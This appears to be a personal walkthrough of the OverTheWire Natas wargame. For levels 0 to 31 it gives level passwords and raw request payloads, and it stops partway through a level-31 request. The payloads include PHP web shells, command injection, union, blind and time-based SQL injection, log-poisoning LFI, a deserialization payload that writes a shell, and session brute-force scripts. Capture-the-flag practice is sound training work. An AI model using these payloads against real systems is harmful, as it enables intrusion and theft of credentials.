14 minute read

Link For Natas wargame : https://overthewire.org/wargames/natas/

Lvl 0

Username: natas0
Password: natas0
URL:      

http://natas0.natas.labs.overthewire.org

natas1:gtVrDuiDfck831PqWsLEZy5gyDz1clto

lvl 0-1

Right clicking was disabled.
Page source can be viewed with C u or inspect element with CA i
The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi

lvl 1-2

[http://natas2.natas.labs.overthewire.org/files/users.txt](http://natas2.natas.labs.overthewire.org/files/users.txt)
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
eve:zo4mJWyNj2
mallory:9urtcpzBmH

lvl 2-3

robots.txt
[http://natas3.natas.labs.overthewire.org/s3cr3t/](http://natas3.natas.labs.overthewire.org/s3cr3t/)
natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

lvl 3-4

Address was changed in referer in burp:
Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

lvl 4-5

there was a logged in cookie and it was set to 0 and i set it to 1
Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

lvl 5-6

<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
//Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

lvl 6-7

[http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8](http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8)
DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

lvl 7-8

php> echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")))
oubWYf2kBq
Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

lvl 8-9

GET /?needle=[a-zA-z0-9]+/etc/natas_webpass/natas10%3b&submit=Search HTTP/1.1
Output:
<pre>
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
</pre>

lvl 9-10

GET /?needle=c+/etc/natas_webpass/natas10+and+&submit=Search HTTP/1.1
/etc/natas_webpass/natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

lvl 10-11

GET /?needle=c+/etc/natas_webpass/natas11+and+&submit=Search HTTP/1.1
/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

lvl 11-12

//looking at the source code:
//$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
//now we have to send the cookie with these parameters
//	array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
//and using known plaintext xor attack key was extracted: qw8J
$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
echo base64_encode(xor_encrypt(json_encode($defaultdata)))
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
//data is set with above cookie
//The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

lvl 12-13

//viewing the intercepted request in bursuite we have a hidden html input called filename
//filename is edited to a.php and i uploaded a php file with content
<? php system($_GET['cmd'];) ?>
//and uploaded it and send a get request 

GET /upload/g1gf1ul4d8.php?cmd=cat+/etc/natas_webpass/natas13 HTTP/1.1
Host: natas12.natas.labs.overthewire.org
Authorization: Basic bmF0YXMxMjpFRFhwMHBTMjZ3TEtIWnkxckRCUFVaazBSS2ZMR0lSMw==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: __utma=176859643.472868426.1590939308.1590939308.1591176859.2; __utmc=176859643; __utmz=176859643.1590939308.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Connection: close

Output: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

lvl 13-14

>>> fh = open('shell.php', 'w')
>>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
>>> fh.close()
http://natas13.natas.labs.overthewire.org/upload/som2d7x3fz.php?cmd=cat%20/etc/natas_webpass/natas14
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

lvl 14-15

POST /index.php?debug=1 HTTP/1.1
Host: natas14.natas.labs.overthewire.org
Content-Length: 44
Cache-Control: max-age=0
Authorization: Basic bmF0YXMxNDpMZzk2TTEwVGRmYVB5VkJrSmRqeW1ibGxRNUw2cWRsMQ==
Upgrade-Insecure-Requests: 1
Origin: http://natas14.natas.labs.overthewire.org
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas14.natas.labs.overthewire.org/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: __utma=176859643.472868426.1590939308.1590939308.1591176859.2; __utmc=176859643; __utmz=176859643.1590939308.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Connection: close

username="+union+select+1,2--+-&password=aad
Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

lvl 15-16

//ran this on intruder multiple time to get the password
POST /index.php?debug=1 HTTP/1.1
Host: natas15.natas.labs.overthewire.org
Content-Length: 131
Cache-Control: max-age=0
Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==
Upgrade-Insecure-Requests: 1
Origin: http://natas15.natas.labs.overthewire.org
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas15.natas.labs.overthewire.org/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: __utmc=176859643; __utma=176859643.472868426.1590939308.1591176859.1593693887.3; __utmz=176859643.1593693887.3.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)
Connection: close

username="+union+select+1,2+from+users+where+md5(substring((select+password+from+users+where+username='natas16'),33,1))=md5('§W§')--+-

natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

lvl 16-17

# in burp intruder
GET /?needle=hellos$(grep+^8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw§a§+/etc/natas_webpass/natas17)&submit=Search HTTP/1.1
Host: natas16.natas.labs.overthewire.org
Authorization: Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/json,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas16.natas.labs.overthewire.org/?needle=dsad&submit=Search
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: __utmc=176859643; __utma=176859643.472868426.1590939308.1591176859.1593693887.3; __utmz=176859643.1593693887.3.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)
Connection: close

natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

lvl 17-18

as there is no error shown we do time based sql injection

payload

username=”union select 1,2 from users order by (case when (md5(substring((select password from users where username=’natas18’),33,1))=md5(‘§A§’)) then sleep(5) else 1/0 end)–+-

POST /index.php?debug=1 HTTP/1.1
Host: natas17.natas.labs.overthewire.org
Content-Length: 174
Cache-Control: max-age=0
Authorization: Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw==
Upgrade-Insecure-Requests: 1
Origin: http://natas17.natas.labs.overthewire.org
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas17.natas.labs.overthewire.org/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: __utmc=176859643; __utma=176859643.472868426.1590939308.1591176859.1593693887.3; __utmz=176859643.1593693887.3.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)
Connection: close

username="union select 1,2 from users order by (case when (md5(substring((select password from users where username='natas18'),33,1))=md5('§A§')) then sleep(5) else 1/0 end)--+-

Running this on repeater password for user natas18 was retrieved

natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

lvl18-19

/assets/images/natas/Untitled.png

here it checks if there is admin in the SESSION. if there isnot it sets the value to 0. so we have to find a session where the value of admin is already set. ie admin session

/assets/images/natas/Untitled%201.png

and as the maxid is from 1 to 640, we change our phpsessionid to 1 to 640 in the burp repeater and see if we get the admin session

POST /index.php?debug=1 HTTP/1.1
Host: natas18.natas.labs.overthewire.org
Content-Length: 42
Cache-Control: max-age=0
Authorization: Basic bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Origin: http://natas18.natas.labs.overthewire.org
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas18.natas.labs.overthewire.org/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: __utma=176859643.472868426.1590939308.1591176859.1593693887.3; __utmc=176859643; __utmz=176859643.1593693887.3.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); 
**PHPSESSID=§1§;**
Connection: close

username=admin&password=admin

/assets/images/natas/Untitled%202.png

Username: natas19 Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

lvl 19-20

it is similar to previous one but the session id is not sequential.

while logging with admin:admin phpsessionid = 3332392d61646d696e when hexdecoded gives 329-admin

so the phpsession id for natas20 will be (0-640)-natas20

import requests
url="http://natas19.natas.labs.overthewire.org/index.php?debug=1" 
for i in range(31,40):
    for j in range(30,40):
        for k in range(30,40):
            username="natas20"
            password = "password"
            data = {'username':username,'password':password}
            cookies = {
                       'PHPSESSID' :str(i)+str(j)+str(k)+'2d61646d696e'
                        }
            print(cookies['PHPSESSID'])
            r = requests.post(url,data=data,cookies=cookies,headers={'Authorization': 'Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw=='})
            if "Login as an admin to retrieve credentials"not in r.text:                                                                                                                            
                print(r.text)
                exit()

Username: natas20 Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

lvl 20-21

Looking at the source code it has custom session management and to get the flag we should have admin set to 1 in SESSIONS. And we can make post request through which we can send name variable which is searlized and saved to a php session file in /var/lib/php5/sessions/mysess_(phpsessionid). Looking at the source code for write we cant set admin to 1 by post method but looking at the read_file function

/assets/images/natas/Untitled%203.png

here the content of the session file is first exploded with newline ‘\n’ which will output as arrays.

then again the content of line 2 is exploded with space. ie “ “ and if parts[0] is not equal to “” then value of parts[0] is set to parts[2] and it is also a session variable. so we have to craft the value of name as “/nadmin 1” so that we can get the flag.

/assets/images/natas/Untitled%204.png

Username: natas21 Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ

lvl 21-22

Looking at the source code if the admin variable is equal to 1 we get the password and there is a link to another website which are related . And looking at the source code of other website we can easily set the global variables and as they are related if i copy the PHPSESSIONID from this site to another then we get the flag.

Username: natas22 Password: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ

lvl 22-23

Looking at the source code, if revelio parameter was set, we would get the password but there was instant redirection to / when request was made. so the request was made from burp and key was obtained

Username: natas23 Password: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE

lvl 23-24

/assets/images/natas/Untitled%205.png

Looking at the source code there is a loose comparison in php

we can make it true by making a post request using

passwd=100 iloveyou

Username: natas24 Password: OsRmXFguozKpTZZ5X14zNO43379LZveg

lvl 24-25

/assets/images/natas/Untitled%206.png

Looking at the source code we have to compare between passwd and the actual password

This can be bypassed by using array

POST /index.php HTTP/1.1
Host: natas24.natas.labs.overthewire.org
Authorization: Basic bmF0YXMyNDpPc1JtWEZndW96S3BUWlo1WDE0ek5PNDMzNzlMWnZlZw==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas24.natas.labs.overthewire.org/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: __utma=176859643.1991032151.1593787332.1593787332.1593787332.1; __utmc=176859643; __utmz=176859643.1593787332.1.1.utmcsr=natas22-experimenter.natas.labs.overthewire.org|utmccn=(referral)|utmcmd=referral|utmcct=/
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

passwd[]=

Username: natas25 Password: GHF6X7YwACaYYssHVY05cFq83hRktl4c

lvl 25-26

/assets/images/natas/Untitled%207.png

By looking at the source code we can see there are two checks strstr() and str_replace()

strstr() can be bypassed easily as it gives everything after first match. and strreplace replaces every ../ with “” so we can craft our input as

lang=..././..././..././..././..././..././..././..././..././etc/passwd

We have LFI.

But we cant read password file from /etc/natas_webpass/natas26.

/assets/images/natas/Untitled%208.png

But looking at the above code, we can read the log file. So we can inject php code in http-user-agent and the log file executes it while we access it through LFI. So we make a request with

POST /index.php HTTP/1.1
Host: natas25.natas.labs.overthewire.org
Cache-Control: max-age=0
Authorization: Basic bmF0YXMyNTpHSEY2WDdZd0FDYVlZc3NIVlkwNWNGcTgzaFJrdGw0Yw==
Upgrade-Insecure-Requests: 1
User-Agent: <?php system("cat /etc/natas_webpass/natas26") ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: __utma=176859643.1991032151.1593787332.1593787332.1593787332.1; __utmc=176859643; __utmz=176859643.1593787332.1.1.utmcsr=natas22-experimenter.natas.labs.overthewire.org|utmccn=(referral)|utmcmd=referral|utmcct=/; PHPSESSID=5ls5ag19m6nja8k9lkhrdhgii2
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 124

lang = ../../etc/passwd

It keeps the log in the file. So getting the log file using LFI

POST /index.php HTTP/1.1
Host: natas25.natas.labs.overthewire.org
Cache-Control: max-age=0
Authorization: Basic bmF0YXMyNTpHSEY2WDdZd0FDYVlZc3NIVlkwNWNGcTgzaFJrdGw0Yw==
Upgrade-Insecure-Requests: 1
User-Agent: <?php system("cat /etc/natas_webpass/natas26;echo 'natas password'") ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: __utma=176859643.1991032151.1593787332.1593787332.1593787332.1; __utmc=176859643; __utmz=176859643.1593787332.1.1.utmcsr=natas22-experimenter.natas.labs.overthewire.org|utmccn=(referral)|utmcmd=referral|utmcct=/; PHPSESSID=5ls5ag19m6nja8k9lkhrdhgii2
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 124

lang=..././..././..././..././..././..././..././..././..././var/www/natas/natas25/logs/natas25_5ls5ag19m6nja8k9lkhrdhgii2.log

Now on log file we get the password: oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T

lvl 26-27

/assets/images/natas/Untitled%209.png

Looking at code there is unserialization on user controllable cookie value drawing without any sanitization. and also looking at the source code below we can see there is a class with the magic methods present.

/assets/images/natas/Untitled%2010.png

In this class Logger __construct and __destruct are present which are the magic methods and are called if there is unserialization of their objects. so let us create a php file to create a serialized object for the class Logger.

<?php

class Logger{
        private $logFile= 'img/c.php';
        private $exitMsg = '<?php system($_GET["cmd"]); ?>';
        private $initMsg = "<?php include('/etc/passwd'); ?>";

}

echo urlencode(base64_encode(serialize(new Logger())));                                                                                                                                             

?>
Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czo5OiJpbWcvYy5waHAiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czozMDoiPD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BIjtzOjE1OiIATG9nZ2VyAGluaXRNc2ciO3M6MzI6Ijw%2FcGhwIGluY2x1ZGUoJy9ldGMvcGFzc3dkJyk7ID8%2BIjt9

Now the value of drawing is set to the value above and request is made. After the request is made a file called c.php is created with the content of exitMsg in it in img directory in our web server root folder. And making the get request to the file img/c.php?cmd=cat+/etc/natas_webpass.natas26, we get the password

/assets/images/natas/Untitled%2011.png

natas27:55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ

lvl 27-28

/assets/images/natas/Untitled%2012.png

Looking at the small portion of the code the sql query is passed through the mysql_real_escape_string which will prepend \ in the escape characters like \00, ‘, “, and so on. So we cant actually close the user with ‘ to perform sql injection. Looking at many articles how we can bypass the mysql_real_escape_string, i found that it can be escaped with techniques like using a subquery or using hex(27) which will equal to ‘, but none worked in this case. For this to work there shouldnot be any paranthesis in the user field means it will work for something like a id which is a int parameter. So that was a dead end.

/assets/images/natas/Untitled%2013.png

Further looking at the code, what i found interesting is the while loop to print credentials. Well the user is only one, so why there is a need of a loop to print the credentials. It might be the indication of there might be possibility of two users with same username.

/assets/images/natas/Untitled%2014.png

Looking at the table schema the length of username is 64. So sql has this weird property that if we pass username whose length is more than 64, it will truncate the whole value after 64th character.

POST /index.php HTTP/1.1
Host: natas27.natas.labs.overthewire.org
Content-Length: 175
Cache-Control: max-age=0
Authorization: Basic bmF0YXMyNzo1NVRCanBQWlVVSmdWUDViM0JuYkc2T045dURQVnpDSg==
Upgrade-Insecure-Requests: 1
Origin: http://natas27.natas.labs.overthewire.org
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas27.natas.labs.overthewire.org/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Connection: close

username=natas28++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++1&password=

So crafting username in such a way that it has natas28 and a bunch of spaces and using that i was able to create a new user. and Logging with that username and password, we get the password for the natas28.

natas28:JWwR438wkgTsNKBbcJoowyysdM82YjeF

lvl 28-29

Looking at the home page we can see there is some kind of database which is getting the result of user searched queries.

Initial hypothesis: select ? from ? where query like ‘%%'

So i tried sql injection with ‘

/assets/images/natas/Untitled%2015.png

But it returned the result means that it has some kind of mechanism of filtering the characters.

My assumption that is our input might pass through mysql_real_escape_string() before doing the query.

And another interesting thing that i saw on the browser is the link.

http://natas28.natas.labs.overthewire.org/search.php/?
query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPK2m1Dlc2qtE8XWPmhO77spSHmaB7HSm1mCAVyTVcLgDq3tm9uspqc7cbNaAQ0sTFc%3D

Here the query is some jibber jabber which actually might be base64 encoded by the looks of it. When i url decode and base64 decode it, it was also some gibberish text.

Then i begin by tampering with this query parameter. I deleted bunch of characters from the query string and i get a different output.

/assets/images/natas/Untitled%2016.png

Now my assumption was that the backend takes the user input, does some PKCS#7 padding according to the blocksize and encrypt’s the data with AES ie either by CBC or EBC.

First we have to find the block size of the cipher, so i sent different length character ‘A’ and observed the output

For simplicity the output are converted into blocks of 16 bytes and in hex. I have chosen 16 because the length of the aes key is 128, 192, or 256 bits ie 16,24 or 32 bytes.

#!/usr/bin/python3
#code to make the requests and get the base64 encoded cipher
import requests
from urllib.parse import unquote
from base64 import b64decode,b64encode
import sys
import codecs

#query = "aaaaaaaaa'union select password from users#"
query = sys.argv[1]                                                                                                                                                                                 

url = "http://natas28.natas.labs.overthewire.org/"
headers = {'Authorization':'Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg==',
                }
params = { 'query' : query,
                }
r = requests.post(url+'index.php',data=params,headers=headers,allow_redirects=False)
red = (r.headers['Location'])
val = r.headers["Location"][18:]
b64d = b64decode(unquote(val))

url += red
r = requests.get(url,headers=headers)
def brk(lis):
        ans = []
        length = len(lis)
        for i in range(0,length,16):
                ans.append(lis[i:i+16])
        return ans
ans = brk(b64d)
for i in ans:
        print(codecs.encode(i,'hex').decode())
#Input A * 1
Blocks
	1			1be82511a7ba5bfd578c0eef466db59c
	2			dc84728fdcf89d93751d10a7c75c8cf2
	3			ab880a8f136fbeb98967891324a1b075
	4			bdfa1054ec68515cf96f2a5544591947
	5			904f4b2abf2c2d7686aa72a53151c970
#Input A * 2
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
b130a531bec89c705213bfa5c9667ac7
48799a07b1d29b5982015c9355c2e00e
aded9bdbaca6a73b71b35a010d2c4c57

We can observe interesting facts here that our 1st and 2nd block in both condition is same.

New hypothesis will be that it takes some input and prepends something to it.

Now i keep incrementing the length of the input until i see that change.

#Input A * 13
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
c0872dee8bc90b1156913b08a223a39e
1f74714d76fcc5d464c6a221e6ed98e4
6223a14d9c4291b98775b03fbc73d4ed
d8ae51d7da71b2b083d919a0d7b88b98

For 13 A’s we can see that there is increase in the numbers of the block and the increase is by 16 bytes, so we can confirm that the blocksize is 16

#Input A * (13+16)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
c0872dee8bc90b1156913b08a223a39e
b39038c28df79b65d26151df58f7eaa3
1f74714d76fcc5d464c6a221e6ed98e4
6223a14d9c4291b98775b03fbc73d4ed
d8ae51d7da71b2b083d919a0d7b88b98

We can see that while increasing the input’s length by 16, there is increase in numbers of blocks, which confirms that the blocksize is indeed 16

#Input A*(13+16+16)
1be82511a7ba5bfd578c0eef466db59c  # Static text 
dc84728fdcf89d93751d10a7c75c8cf2  # Static Text
c0872dee8bc90b1156913b08a223a39e  # 
**b39038c28df79b65d26151df58f7eaa3  # 16 A's**
**b39038c28df79b65d26151df58f7eaa3  # 16 A's**
1f74714d76fcc5d464c6a221e6ed98e4
6223a14d9c4291b98775b03fbc73d4ed
d8ae51d7da71b2b083d919a0d7b88b98

from the above output we can see that few blocks are actually repeating, means it is EBC because if the same blocks are encrypted by a key in EBC, the output will be the same.

From all of the above cases we can see that block 1 and 2 have static content and they are not changing but block number 3 is changing with the input, means it contains our input.

Input A * 100

1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
c0872dee8bc90b1156913b08a223a39e
**b39038c28df79b65d26151df58f7eaa3
b39038c28df79b65d26151df58f7eaa3
b39038c28df79b65d26151df58f7eaa3
b39038c28df79b65d26151df58f7eaa3
b39038c28df79b65d26151df58f7eaa3**
2011bbe488dde1bbec961b6170b30e12
29287f3cc5479e12e66f31c863b18047
56d5732dc8c770f64397...

Even though 3rd block is containing our input, it certainly contains some static content too. If it hadnot contained any static contents value of 3rd block would have been equal to 4th block. Now we have to find how many bytes are static content.

Now i repeat the same procedure by sending ‘A’ and incrementing the length of our data.

#Input A * 9 
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
**9e622686a52640595706099abcb052bb**
a09522f301cf9d36ac7023f165948c5a
9739cd90522fa7a86f95773b56f9f8c0

#Input A * 10
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
**c0872dee8bc90b1156913b08a223a39e**
738a5ffb4a4500246775175ae596bbd6
f34df339c69edce11f6650bbced62702

#Input A * 11
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
**c0872dee8bc90b1156913b08a223a39e**
b4eda087d3c0bea2bedc1b6140b9e2eb
ca8cf4e610913abae39a067619204a5a

If we see the 3rd block in each case, we can see that it is repeating after the length of the input is 10. From that we can guess that we have 6 bytes of Static text and 10 bytes of our data.

1be82511a7ba5bfd578c0eef466db59c    ????????????????
dc84728fdcf89d93751d10a7c75c8cf2    ????????????????
c0872dee8bc90b1156913b08a223a39e    ??????AAAAAAAAAA
b4eda087d3c0bea2bedc1b6140b9e2eb    ???????????????? 
ca8cf4e610913abae39a067619204a5a    ????????????????

Looking at the above scenario, now we know that where our text is going to go, we can decode the unknown text which is coming after the known text ie 10 A’s.

This is the challenge 12 in cryptopals which tells us how to decode that unknown string byte by byte.

/assets/images/natas/Untitled%2017.png

But i will try a different approach here.

Now that we know where our input is going to be,now we can try sql injection but we have to be clever while doing it because it will prepend a ‘/’ if we try to close that LIKE statement with a parenthesis.

So this is what we are going to do.

  1. Make a request with 10 A’s
1be82511a7ba5bfd578c0eef466db59c  #some static data
dc84728fdcf89d93751d10a7c75c8cf2  #we dont care
c0872dee8bc90b1156913b08a223a39e  ??????AAAAAAAAAA  #10 A's
738a5ffb4a4500246775175ae596bbd6  #we dont know that this is
f34df339c69edce11f6650bbced62702  #might be some data and padding
  1. now we are going to change our query to 9 A’s and our sql injection payload. Even though we dont know what are the column names and how many columns are returned, we are assuming the database schema will be similar to previous examples.
payload = AAAAAAAAA'union select password from users#

# request made with above paylaod
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
11dbb80ae02425dc9726bffd1803160e   ??????AAAAAAAAA\ #9 A's and a '\'
5661930eeb7fdf14027d5b900ed1cec6   'union select password
b678f4a5c38072de4ab3eb6c6482b1f3    from .... and so on
f9c2015a39789562ab8212d01b28d603
75fd5044fd063d26f6bb7f734b41c899

What happens is that the a backslash is appended to the paranthesis which will fill the 3rd block because we have inputted the 9 A’s and the paranthesis will go to the next block as shown in figure above.

  1. Now we have to replace the 3rd block in step 2 with the 3rd block in step 1. By doing so we now successfully removed the backslash and now you query is valid to get the password.
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
11dbb80ae02425dc9726bffd1803160e   ??????AAAAAAAAAA
5661930eeb7fdf14027d5b900ed1cec6   'union select password
b678f4a5c38072de4ab3eb6c6482b1f3    from .... and so on
f9c2015a39789562ab8212d01b28d603
75fd5044fd063d26f6bb7f734b41c899

Now we just have to base64 encode this and send it to the web server.

payload:G%2BglEae6W/1XjA7vRm21nNyEco/c%2BJ2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6OeVmGTDut/3xQCfVuQDtHOxrZ49KXDgHLeSrPrbGSCsfP5wgFaOXiVYquCEtAbKNYDdf1QRP0GPSb2u39zS0HImQ%3D%3D

/assets/images/natas/Untitled%2018.png

natas29:airooCaiseiyee8he8xongien9euhe8b

lvl 29-30

Command injection

natas30:wie9iexae0Daihohv8vuu3cei9wahf0e

lvl 30-31

import requests
headers = { 'Authorization':'Basic bmF0YXMzMDp3aWU5aWV4YWUwRGFpaG9odjh2dXUzY2VpOXdhaGYwZQ=='}
url = "http://natas30.natas.labs.overthewire.org/index.pl"

params = {'username':"natas31",'password': ["'a' or 1",5]}                                                                                                                                          
cookies = {}
r = requests.post(url,data=params,cookies=cookies,headers=headers)
print(r.text)

Here param is case sensitive and if we send two values it will return a list. And quote checks the optional second parameter and if it is integer, even if the first parameter is string, it will return it without unquoting

natas31:hay7aecuungiuKaezuathuk9biin0pu1

lvl 31-23

POST /index.pl?cat%20/etc/natas_webpass/natas32%20| HTTP/1.1
Host: natas31.natas.labs.overthewire.org
Content-Length: 355
Cache-Control: max-age=0
Authorization: Basic bmF0YXMzMTpoYXk3YWVjdXVuZ2l1S2FlenVhdGh1azliaWluMHB1MQ==
Upgrade-Insecure-Requests: 1
Origin: http://natas31.natas.labs.overthewire.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzI73FVSf9Ocjjgr7
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
